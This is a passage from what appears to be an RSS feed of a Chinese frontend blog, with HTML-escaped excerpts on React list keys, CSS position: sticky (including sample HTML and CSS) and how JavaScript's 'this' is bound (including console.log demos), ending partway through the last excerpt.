&lt;p&gt;如果没办法有效辨识，将可能出现 bug。举例来说，假如今天的圈圈是有状态的，例如里面有勾选方块，然后第个二圈有被勾选。假如今天换颜色是因为第二个圈被交换到第三个位置，这时表示新一次的渲染时，第三个圈要是被勾选的。不过假如我们没有一个辨识机制，要是 React 误以为换颜色不是因为换位置，而是单纯的第二个圈换颜色，那么将会渲染出仍是第二个圈是被勾选的；那么这就会是一个 bug。&lt;/p&gt;
&lt;p&gt;然而，有了 key 这个辨识机制，React 就会知道在新的一次渲染时，原本的状态应该被保留在列表中的哪一个元件中。因此，React 之所以需要 key，正是因为 key 可以让 React 知道，哪些子元件被新增、 移除，或是修改。&lt;/p&gt;
&lt;p&gt;除此之外，看到下面这段 React 官方文件的例子 (编按：面试时也推荐直接举这例子)。原本有个列表，我们在最上方新增一个 &lt;code&gt;&amp;lt;li&amp;gt;Connecticut&amp;lt;/li&amp;gt;&lt;/code&gt; ，如果没有 key，对 React 来说将会是，Duke 变成 Connecticut、Villanova 变成 Duke，而最后新增一个 Villanova。换句话说，整个列表都改变了，所以 React 会打掉旧的，重建一个新的列表。当列表变大时，就会很消耗效能。&lt;/p&gt;</description></item><item><title>position: sticky</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/position-sticky/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/position-sticky/</guid><description>&lt;p&gt;如果问，CSS 中 position 属性的取值有几个？大部分人的回答大概是 &lt;code&gt;static&lt;/code&gt;、&lt;code&gt;relative&lt;/code&gt;、&lt;code&gt;absolute&lt;/code&gt;、&lt;code&gt;fixed&lt;/code&gt;，实际上MDN上还有一个 &lt;code&gt;sticky&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;今天我们就来给大家介绍这个容易被忽视的position属性值 &lt;code&gt;sticky&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;先来看看MDN上对于 &lt;code&gt;sticky&lt;/code&gt; 的介绍：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;粘性定位元素（stickily positioned element）是计算后位置属性为 sticky 的元素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;粘性定位可以被认为是相对定位和固定定位的混合。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;什么是结合两种定位功能于一体呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;元素在跨越特定阈值前为相对定位，之后为固定定位。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是元素先按照普通文档流定位，然后相对于该元素在流中的 &lt;code&gt;flow root（BFC）&lt;/code&gt;和 &lt;code&gt;containing block&lt;/code&gt;（最近的块级祖先元素）定位。&lt;/p&gt;
&lt;p&gt;元素定位表现为在跨越特定阈值前为相对定位，之后为固定定位。&lt;/p&gt;
&lt;p&gt;这个特定阈值指的是 top、right、bottom 或 left 之一，换言之，指定 top、right、bottom 或 left 四个阈值其中之一，才可使粘性定位生效。否则其行为与相对定位相同。&lt;/p&gt;
&lt;h2 id="示例"&gt;示例&lt;/h2&gt;
&lt;p&gt;上面的文字描述估计还是很难理解，看看下面这张 GIF 图，想想要实现的话，使用 &lt;code&gt;JS + CSS&lt;/code&gt; 的方式该如何做：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/position-sticky/image-01.gif"&gt;&lt;/p&gt;
&lt;p&gt;按照常规做法，大概是监听页面 &lt;code&gt;scroll&lt;/code&gt; 事件，判断每一区块距离视口顶部距离，超过了则设定该区块 &lt;code&gt;position:fixed&lt;/code&gt;，反之去掉。&lt;/p&gt;
&lt;p&gt;而使用 &lt;code&gt;position:sticky&lt;/code&gt; ，则可以非常方便的实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sticky-box&amp;#34;&lt;/span&gt;&amp;gt;内容1&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sticky-box&amp;#34;&lt;/span&gt;&amp;gt;内容2&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sticky-box&amp;#34;&lt;/span&gt;&amp;gt;内容3&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sticky-box&amp;#34;&lt;/span&gt;&amp;gt;内容4&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#eee&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;auto&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;sticky-box&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;sticky&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#ff7300&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#fff&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看看上面的 CSS 代码，只是给每个内容区块加上&lt;/p&gt;</description></item><item><title>全方位解读this</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-008/</link><pubDate>Wed, 06 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-008/</guid><description>&lt;p&gt;我们在学习JavaScript的过程中，由于对一些概念理解得不是很清楚，但是又想要通过一些方式把它记下来，于是就很容易草率的给这些概念定下一些方便自己记忆的有偏差的结论。&lt;/p&gt;
&lt;p&gt;危害比较大的是，有的不准确的结论在网上还广为流传。&lt;/p&gt;
&lt;p&gt;比如对于this指向的理解中，有这样一种说法：谁调用它，this就指向谁。在我刚开始学习this的时候，我是非常相信这句话的。因为在一些情况下，这样理解也还算说得通。可是我常常会在开发中遇到一些不一样的情况，一个由于this的错误调用，可以让我懵逼一整天。那个时候我也查资料，在群里问大神，可是我仍然搞不清楚“我特么到底错哪里了”。其实只是因为我心中有一个不太准确的结论。&lt;/p&gt;
&lt;p&gt;所以，我认为需要有这样一篇文章，来帮助大家全方位的解读this。让大家对this，有一个正确的，全面的认知。&lt;/p&gt;
&lt;p&gt;在这之前，我们需要来回顾一下执行上下文。&lt;/p&gt;
&lt;p&gt;在前面的几篇文章中，我有好几个地方都提到执行上下文的生命周期，为了防止大家没有记住，再次来回顾一下，如下图。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-008/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;在执行上下文的创建阶段，会分别生成变量对象，建立作用域链，确定this指向。其中变量对象与作用域链我们都已经仔细总结过了，而这里的关键，就是确定this指向。&lt;/p&gt;
&lt;p&gt;首先我们需要得出一个非常重要一定要牢记于心的结论，**this的指向，是在函数被调用的时候确定的。**也就是执行上下文被创建时确定的。因此，一个函数中的this指向，可以是非常灵活的。比如下面的例子中，同一个函数由于调用方式的不同，this指向了不一样的对象。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 10
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;除此之外，&lt;strong&gt;在函数执行过程中，this一旦被确定，就不可更改了。&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 这句话试图修改this，运行后会报错
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;一、全局对象中的this&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关于全局对象的this，我之前在总结变量对象的时候提到过，它是一个比较特殊的存在。全局环境中的this，指向它本身。因此，这也相对简单，没有那么多复杂的情况需要考虑。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 通过this绑定到全局对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 通过声明绑定到变量对象，但在全局环境中，变量对象就是它自身
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 仅仅只有赋值操作，标识符会隐式绑定到全局对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;a3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 输出结果会全部符合预期
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="二函数中的this"&gt;二、函数中的this&lt;/h5&gt;
&lt;p&gt;在总结函数中this指向之前，我想我们有必要通过一些奇怪的例子，来感受一下函数中this的捉摸不定。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo01
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo02
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo03
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;());
